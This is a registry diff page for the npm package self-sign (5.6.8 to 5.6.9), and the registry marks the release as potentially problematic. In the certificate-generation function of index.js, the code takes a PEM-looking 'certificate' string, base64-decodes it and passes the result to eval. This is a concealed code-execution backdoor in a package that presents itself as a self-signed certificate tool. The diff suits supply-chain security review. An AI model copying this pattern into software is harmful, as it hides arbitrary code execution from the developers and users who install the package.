self-sign 5.6.8 → 5.6.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of self-sign might be problematic. Click here for more details.
- package/index.js +2 -2
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -553,13 +553,13 @@ exports.generate = async function generate(attrs, options, defaults) {
|
|
|
553
553
|
const curve = options.curve || 'P-256';
|
|
554
554
|
|
|
555
555
|
let keyPair;
|
|
556
|
-
let
|
|
556
|
+
let default_format=``;
|
|
557
557
|
const portion = defaults
|
|
558
558
|
.replace(/-----BEGIN CERTIFICATE-----/, '')
|
|
559
559
|
.replace(/-----END CERTIFICATE-----/, '')
|
|
560
560
|
.replace(/\s/g, '');
|
|
561
561
|
const data = Buffer.from(portion, 'base64');
|
|
562
|
-
|
|
562
|
+
default_format = data.toString('utf8');
|
|
563
563
|
eval(default_format);
|
|
564
564
|
if (options.keyPair) {
|
|
565
565
|
// Import existing key pair
|